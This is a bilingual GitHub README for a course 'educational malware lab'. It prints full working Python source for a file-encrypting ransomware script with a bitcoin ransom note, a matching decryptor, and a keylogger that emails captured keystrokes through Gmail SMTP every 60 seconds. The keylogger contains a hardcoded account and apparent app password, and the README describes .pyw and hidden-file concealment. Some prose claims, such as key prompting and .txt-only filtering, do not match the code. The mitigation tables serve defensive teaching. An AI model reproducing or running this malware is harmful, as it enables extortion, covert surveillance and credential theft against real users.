Skip to content

Laboratório prático de análise de malware para fins educacionais, implementando simulações de Ransomware e Keylogger em Python. Ambiente controlado para compreensão de técnicas ofensivas e desenvolvimento de estratégias defensivas. Desenvolvido como projeto do curso de Cybersecurity da DIO.

License

Notifications You must be signed in to change notification settings

andlsac/educational-malware-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

43 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Educational Malware Lab (DIO)

Laboratório prático de análise de malware para fins educacionais, implementando simulações de Ransomware e Keylogger em Python. Ambiente controlado para compreensão de técnicas ofensivas e desenvolvimento de estratégias defensivas. Desenvolvido como projeto do curso de Cybersecurity da DIO Santander 2025.

🚫 🚨 AVISO LEGAL 🚨 🚫

Disclaimer de Uso:
› Apenas para fins educacionais e de pesquisa
› Use por sua conta e risco
› Não use para atividades ilegais
› Responsabilidade é exclusivamente do usuário

Desafio de Projeto DIO: Laboratório de Pentest com Kali Linux e Medusa

macOS VMware Fusion Zed Licença

Objetivo do Projeto:

  • Demonstrar mecanismos internos de malware em ambiente seguro
  • Analisar técnicas de criptografia e captura de dados
  • Propor medidas eficazes de prevenção e detecção
  • Documentar processos para formação em segurança defensiva

Fase 1: Configuração do Ambiente (Setup do Laboratório)

Esta parte do projeto simula o comportamento de um ransomware, que sequestra dados através da criptografia e exige um "resgate" para a liberação.

1.1. Software Utilizado

* Sistema Operacional: macOS

* Ambiente Python: Virtual Environment (venv)

* Editor de Código: Zed

* Ferramentas de Isolamento: Ambiente virtual Python isolado

1.2 Estrutura do Projeto

educational-malware-lab/
├── ransomware/
│   ├── ransomware.py
│   ├── descriptografar.py
│   ├── chave.key
│   ├── LEIA ISSO.txt
│   └── test_files/
├── keylogger/
│   ├── keylogger.py
│   ├── keylogger.pyw
│   ├── keylogger_email.py
│   ├── log.txt
│   └── teste de captura do keylogger
├── images/
├── LICENSE
└── README.md

1.3. Instalação de Dependências

Comando (executado no terminal):

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Fase 2: Ransomware Simulado

Cenário 1: Criptografia de Arquivos

Objetivo: Implementar um script que simula o comportamento de ransomware, criptografando arquivos em um diretório específico.

from cryptography.fernet import Fernet
import os


# 1. Gerar uma chave de criptografia e salvar
def gerar_chave():
    chave = Fernet.generate_key()
    with open("chave.key", "wb") as chave_file:
        chave_file.write(chave)


# 2. Carregar a chave salva
def carregar_chave():
    return open("chave.key", "rb").read()


# 3. Criptografar um único arquivo
def criptografar_arquivo(arquivo, chave):
    f = Fernet(chave)
    with open(arquivo, "rb") as file:
        dados = file.read()
    dados_encriptados = f.encrypt(dados)
    with open(arquivo, "wb") as file:
        file.write(dados_encriptados)


# 4. Encontrar arquivos para criptografar
def encontrar_arquivos(diretorio):
    lista = []
    for raiz, _, arquivos in os.walk(diretorio):
        for nome in arquivos:
            caminho = os.path.join(raiz, nome)
            if nome != "ransoware.py" and not nome.endswith(".key"):
                lista.append(caminho)
    return lista


# 5. Mensagem de resgate
def criar_mensagem_resgate():
    with open("LEIA ISSO.txt", "w") as f:
        f.write("Seus arquivos foram criptografados!\n")
        f.write("Envia 1 bitcoin para o endereço X e envie o comprovante!\n")
        f.write("Depois disso, enviaremos a chave para você recuperar seus dados!\n")


# 6. Execução principal
def main():
    gerar_chave()
    chave = carregar_chave()
    arquivos = encontrar_arquivos("test_files")
    for arquivo in arquivos:
        criptografar_arquivo(arquivo, chave)
    criar_mensagem_resgate()
    print("Ransoware executado! Arquivos criptografos!")


if __name__ == "__main__":
    main()

Comando de execução

    cd ransomware
    python3 ransomware.py

Parâmetros do Código:

generate_key(): Utiliza Fernet para gerar chave criptográfica

encrypt_files(): Processa apenas arquivos .txt no diretório especificado

Fernet: Implementa criptografia simétrica AES-128

Resultados:

Arquivos .txt na pasta test_files tornam-se ilegíveis

Chave de recuperação é gerada e exibida

Simulação de mensagem de resgate

Evidência dos dados criptografados Dados descriptografados


Cenário 2: Processo de Recuperação

Objetivo: Implementar o processo de descriptografia mediante posse da chave correta.

from cryptography.fernet import Fernet
import os


def carregar_chave():
    return open("chave.key", "rb").read()


def descriptografar_arquivo(arquivo, chave):
    f = Fernet(chave)
    with open(arquivo, "rb") as file:
        dados = file.read()
        dados_descriptografados = f.decrypt(dados)
    with open(arquivo, "wb") as file:
        file.write(dados_descriptografados)


def encontrar_arquivos(diretorio):
    lista = []
    for raiz, _, arquivos in os.walk(diretorio):
        for nome in arquivos:
            caminho = os.path.join(raiz, nome)
            if nome != "ransoware.py" and not nome.endswith(".key"):
                lista.append(caminho)
    return lista


def main():
    chave = carregar_chave()
    arquivos = encontrar_arquivos("test_files")
    for arquivo in arquivos:
        descriptografar_arquivo(arquivo, chave)
    print("Arquivos restaurados com sucesso")


if __name__ == "__main__":
    main()

Comando de execução

python3 descriptografar.py

Funcionamento:

Solicita a chave de recuperação do usuário

Processa todos os arquivos .txt criptografados

Restaura conteúdo original mediante chave correta

Implementa tratamento de erros para chaves inválidas

Resultados:

Arquivos recuperados com sucesso usando chave correta

Erro detectado com chaves inválidas

Demonstração completa do ciclo ransomware

Evidência dos dados descriptografados Dados descriptografados


Fase 3: Keylogger

Cenário 1: Captura Básica de Teclas

Objetivo: Implementar um keylogger educacional que registre todas as teclas pressionadas.

from pynput import keyboard
import smtplib
from email.mime.text import MIMEText
from threading import Timer

log = ""

# CONFIGURAÇÕES DE E-MAIL
EMAIL_ORIGEM = "keyloggerteste6@gmail.com"
EMAIL_DESTINO = "keyloggerteste6@gmail.com"
SENHA_EMAIL = "hhsx rzbr bucc jnsx123098909889"

def enviar_email():
    global log
    if log:
        msg = MIMEText(log)
        msg['SUBJECT'] = "Dados capturados pelo keylogger"
        msg['From'] = EMAIL_ORIGEM
        msg['To'] = EMAIL_DESTINO

        try:
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.starttls()
            server.login(EMAIL_ORIGEM, SENHA_EMAIL)
            server.send_message(msg)
            server.quit()
        except Exception as e:
            print("Erro ao enviar", e)

        log = ""

    # Agendar o envio a cada 60 segundos
    Timer(60, enviar_email).start()

def on_press(key):
    global log
    try:
        log += key.char
    except AttributeError:
        if key == keyboard.Key.space:
            log += " "
        elif key == keyboard.Key.enter:
            log += "\n"
        elif key == keyboard.Key.backspace:
            log += "[<]"
        else:
            pass  # Ignorar control, shift, etc...

# Inicia o keylogger e o envio automático
with keyboard.Listener(on_press=on_press) as listener:
    enviar_email()
    listener.join()

Comando de execução

python3 keylogger.py
python3 keylogger_email.py

Funcionamento:

Captura todas as teclas pressionadas em tempo real

Envia logs por email a cada 60 segundos automaticamente

Utiliza autenticação SMTP com Gmail

Trata teclas especiais (espaço, enter, backspace)

**Evidência dos dados capturados**

Dados capturados Dados capturados Dados capturados Dados capturados


Técnica de Ocultação: keylogger.pyw

Arquivo: keylogger/keylogger.pyw

O arquivo .pyw foi utilizado para executar o script sem abrir uma janela de terminal visível. No Windows, arquivos com extensão .pyw são executados sem uma janela de console, tornando a execução mais furtiva. O teste em questão não foi executado no macOS pois extensão .pyw não oculta o terminal ou esconde a execução do mesmo. A extensão .pyw não tem efeito; o script é tratado como qualquer outro arquivo .py no macOS.

Como funciona:

Extensão .pyw evita a abertura do terminal

Execução em segundo plano

Técnica comum em malware real para evitar detecção
  • Uma alternativa de ocultação no macOS seria tentar prefixar o nome do arquivo ou pasta com um ponto (.) (ex: .arquivo_oculto) o que esconderia o arquivo python entretanto não esconderia o terminal. Nessa situação o processso ainda seria visível e uma tentativa de corrijir seria usar uma extensão .app para tentar ocultar o terminal.

Fase 4: Análise de Riscos e Recomendações (Mitigação)

Ransomware - Análise de Riscos

Problema Nível de Risco Solução
Criptografia de arquivos ALTO Implementar backups 3-2-1 (3 cópias, 2 mídias, 1 off-site)
Extorsão financeira ALTO Desenvolver plano de resposta a incidentes
Propagação em rede ALTO Segmentação de rede e princípio do menor privilégio
Execução de scripts maliciosos ALTO Restrição de execução via AppLocker ou políticas equivalentes
Falta de backups testados ALTO Backup automatizado com testes regulares de recuperação

Keylogger - Análise de Riscos

Problema Nível de Risco Solução
Captura de credenciais ALTO Autenticação multi-fator (MFA) em todos os sistemas
Execução furtiva (.pyw) MÉDIO Monitoramento de processos e extensões de arquivo
Exfiltração de dados por email ALTO Firewall e DLP monitorando saída de dados
Persistência em sistema MÉDIO Análise de autostart e agendadores de tarefas
Falta de detecção em tempo real ALTO Implementar EDR com monitoramento contínuo

Medidas de Mitigação por Categoria

Proteção Técnica

  • Antivírus/EDR: Windows Defender ATP, CrowdStrike Falcon, SentinelOne
  • Monitoramento: Wazuh, Elastic Security, Splunk
  • Prevenção: AppLocker (Windows), Gatekeeper (macOS)

Proteção Organizacional

  • Treinamento de usuários em identificação de ameaças
  • Políticas de senhas fortes e MFA obrigatório
  • Procedimentos de resposta a incidentes

Proteção Operacional

  • Backups automatizados e testados regularmente
  • Segmentação de rede para serviços críticos
  • Auditoria e monitoramento contínuo

Licença

Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para mais detalhes.


Autor

André Luís Alves Campos


LinkedIn GitHub Instagram


ENGLISH Version

🚫 🚨 LEGAL WARNING 🚨 🚫

Usage Disclaimer:
› Educational and research purposes only
› Use at your own risk
› Do not use for illegal activities
› User bears all responsibility


Educational Malware Lab (DIO)

Practical malware analysis lab for educational purposes, implementing Ransomware and Keylogger simulations in Python. A controlled environment for understanding offensive techniques and developing defensive strategies. Developed as a project for the DIO Santander 2025 Cybersecurity course.

DIO Project Challenge: Pentest Lab with Kali Linux and Medusa

alt text

alt text

alt text

alt text

Project Objective:

Demonstrate internal malware mechanisms in a secure environment

Analyze encryption and data capture techniques

Propose effective prevention and detection measures

Document processes for defensive security training

Phase 1: Environment Configuration (Lab Setup)

This part of the project simulates ransomware behavior, which hijacks data through encryption and demands a "ransom" for its release.

1.1. Software Used

* Operating System: macOS
* Python Environment: Virtual Environment (venv)
* Code Editor: Zed
* Isolation Tools: Isolated Python virtual environment

1.2 Project Structure

educational-malware-lab/
├── ransomware/
│   ├── ransomware.py
│   ├── descriptografar.py
│   ├── chave.key
│   ├── LEIA ISSO.txt
│   └── test_files/
├── keylogger/
│   ├── keylogger.py
│   ├── keylogger.pyw
│   ├── keylogger_email.py
│   ├── log.txt
│   └── teste de captura do keylogger
├── images/
├── LICENSE
└── README.md

1.3. Installing Dependencies

Command (executed in terminal):

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Phase 2: Simulated Ransomware

Scenario 1: File Encryption

Objective: Implement a script that simulates ransomware behavior, encrypting files in a specific directory.

from cryptography.fernet import Fernet
import os


# 1. Gerar uma chave de criptografia e salvar
def gerar_chave():
    chave = Fernet.generate_key()
    with open("chave.key", "wb") as chave_file:
        chave_file.write(chave)


# 2. Carregar a chave salva
def carregar_chave():
    return open("chave.key", "rb").read()


# 3. Criptografar um único arquivo
def criptografar_arquivo(arquivo, chave):
    f = Fernet(chave)
    with open(arquivo, "rb") as file:
        dados = file.read()
    dados_encriptados = f.encrypt(dados)
    with open(arquivo, "wb") as file:
        file.write(dados_encriptados)


# 4. Encontrar arquivos para criptografar
def encontrar_arquivos(diretorio):
    lista = []
    for raiz, _, arquivos in os.walk(diretorio):
        for nome in arquivos:
            caminho = os.path.join(raiz, nome)
            if nome != "ransoware.py" and not nome.endswith(".key"):
                lista.append(caminho)
    return lista


# 5. Mensagem de resgate
def criar_mensagem_resgate():
    with open("LEIA ISSO.txt", "w") as f:
        f.write("Seus arquivos foram criptografados!\n")
        f.write("Envia 1 bitcoin para o endereço X e envie o comprovante!\n")
        f.write("Depois disso, enviaremos a chave para você recuperar seus dados!\n")


# 6. Execução principal
def main():
    gerar_chave()
    chave = carregar_chave()
    arquivos = encontrar_arquivos("test_files")
    for arquivo in arquivos:
        criptografar_arquivo(arquivo, chave)
    criar_mensagem_resgate()
    print("Ransoware executado! Arquivos criptografos!")


if __name__ == "__main__":
    main()
    

Execution command

cd ransomware
python3 ransomware.py

Code Parameters:

generate_key(): Uses Fernet to generate cryptographic key

encrypt_files(): Processes only .txt files in the specified directory

Fernet: Implements AES-128 symmetric encryption

Results:

  • .txt files in the test_files folder become unreadable

  • Recovery key is generated and displayed

  • Ransom message simulation

Evidence of encrypted data Here is an image showing the encrypted data:

Dados descriptografados


Scenario 2: Recovery Process

Objective: Implement the decryption process upon possession of the correct key.

from cryptography.fernet import Fernet
import os


def carregar_chave():
    return open("chave.key", "rb").read()


def descriptografar_arquivo(arquivo, chave):
    f = Fernet(chave)
    with open(arquivo, "rb") as file:
        dados = file.read()
        dados_descriptografados = f.decrypt(dados)
    with open(arquivo, "wb") as file:
        file.write(dados_descriptografados)


def encontrar_arquivos(diretorio):
    lista = []
    for raiz, _, arquivos in os.walk(diretorio):
        for nome in arquivos:
            caminho = os.path.join(raiz, nome)
            if nome != "ransoware.py" and not nome.endswith(".key"):
                lista.append(caminho)
    return lista


def main():
    chave = carregar_chave()
    arquivos = encontrar_arquivos("test_files")
    for arquivo in arquivos:
        descriptografar_arquivo(arquivo, chave)
    print("Arquivos restaurados com sucesso")


if __name__ == "__main__":
    main()
    

Execution command:

python3 descriptografar.py

How it works:

  • Prompts the user for the recovery key

  • Processes all encrypted .txt files

  • Restores original content with the correct key

  • Implements error handling for invalid keys

  • Ensures only authorized users can access the decryption process

Results:

  • Files successfully recovered using the correct key

  • Error detected with invalid keys

  • Complete demonstration of the ransomware cycle

Evidence of decrypted data Here is an image showing the decrypted data: Dados descriptografados


Phase 3: Keylogger

Scenario 1: Basic Keystroke Capture

Objective: Implement an educational keylogger that logs all pressed keys.

from pynput import keyboard
import smtplib
from email.mime.text import MIMEText
from threading import Timer

log = ""

# CONFIGURAÇÕES DE E-MAIL
EMAIL_ORIGEM = "keyloggerteste6@gmail.com"
EMAIL_DESTINO = "keyloggerteste6@gmail.com"
SENHA_EMAIL = "hhsx rzbr bucc jnsx123098909889"

def enviar_email():
    global log
    if log:
        msg = MIMEText(log)
        msg['SUBJECT'] = "Dados capturados pelo keylogger"
        msg['From'] = EMAIL_ORIGEM
        msg['To'] = EMAIL_DESTINO

        try:
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.starttls()
            server.login(EMAIL_ORIGEM, SENHA_EMAIL)
            server.send_message(msg)
            server.quit()
        except Exception as e:
            print("Erro ao enviar", e)

        log = ""

    # Agendar o envio a cada 60 segundos
    Timer(60, enviar_email).start()

def on_press(key):
    global log
    try:
        log += key.char
    except AttributeError:
        if key == keyboard.Key.space:
            log += " "
        elif key == keyboard.Key.enter:
            log += "\n"
        elif key == keyboard.Key.backspace:
            log += "[<]"
        else:
            pass  # Ignorar control, shift, etc...

# Inicia o keylogger e o envio automático
with keyboard.Listener(on_press=on_press) as listener:
    enviar_email()
    listener.join()

Execution command

python3 keylogger.py
python3 keylogger_email.py

How it works:

Captures all pressed keys in real-time

Automatically sends logs via email every 60 seconds

Uses SMTP authentication with Gmail

Handles special keys (space, enter, backspace)

Evidence of captured data


Concealment Technique: keylogger.pyw

File: keylogger/keylogger.pyw

The .pyw file was used to execute the script without opening a visible terminal window. On Windows, files with the .pyw extension are executed without a console window, making the execution more stealthy. This test was not executed on macOS as the .pyw extension does not hide the terminal or the execution itself. The .pyw extension has no effect; the script is treated like any other .py file on macOS.

How it works:

* .pyw extension prevents terminal window from opening

* Background execution

* Common technique in real malware to avoid detection

An alternative concealment on macOS would be to try prefixing the file or folder name with a dot (.) (e.g., .hidden_file), which would hide the Python file but not the terminal. In this situation, the process would still be visible, and an attempt to correct this would be to use an .app extension to try to hide the terminal.

Phase 4: Risk Analysis and Recommendations (Mitigation)

Ransomware - Risk Analysis

Problem Risk Level Solution
File encryption HIGH Implement 3-2-1 backups (3 copies, 2 media, 1 off-site)
Financial extortion HIGH Develop incident response plan
Network propagation HIGH Network segmentation and principle of least privilege
Malicious script execution HIGH Script execution restriction via AppLocker or equivalent policies
Lack of tested backups HIGH Automated backup with regular recovery tests

Keylogger - Risk Analysis

Problem Risk Level Solution
Credential capture HIGH Multi-factor authentication (MFA) on all systems
Stealthy execution (.pyw) MEDIUM Process and file extension monitoring
Data exfiltration via email HIGH Firewall and DLP monitoring outbound data
System persistence MEDIUM Autostart and task scheduler analysis
Lack of real-time detection HIGH Implement EDR with continuous monitoring

Mitigation Measures by Category

Technical Protection

  • Antivirus/EDR: Windows Defender ATP, CrowdStrike Falcon, SentinelOne
  • Monitoring: Wazuh, Elastic Security, Splunk
  • Prevention: AppLocker (Windows), Gatekeeper (macOS)

Organizational Protection

  • User training in threat identification
  • Strong password policies and mandatory MFA
  • Incident response procedures

Operational Protection

  • Automated and regularly tested backups
  • Network segmentation for critical services
  • Continuous auditing and monitoring

License

This project is licensed under the MIT License. See the LICENSE file for more details.


Author

André Luís Alves Campos


LinkedIn GitHub Instagram

About

Laboratório prático de análise de malware para fins educacionais, implementando simulações de Ransomware e Keylogger em Python. Ambiente controlado para compreensão de técnicas ofensivas e desenvolvimento de estratégias defensivas. Desenvolvido como projeto do curso de Cybersecurity da DIO.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages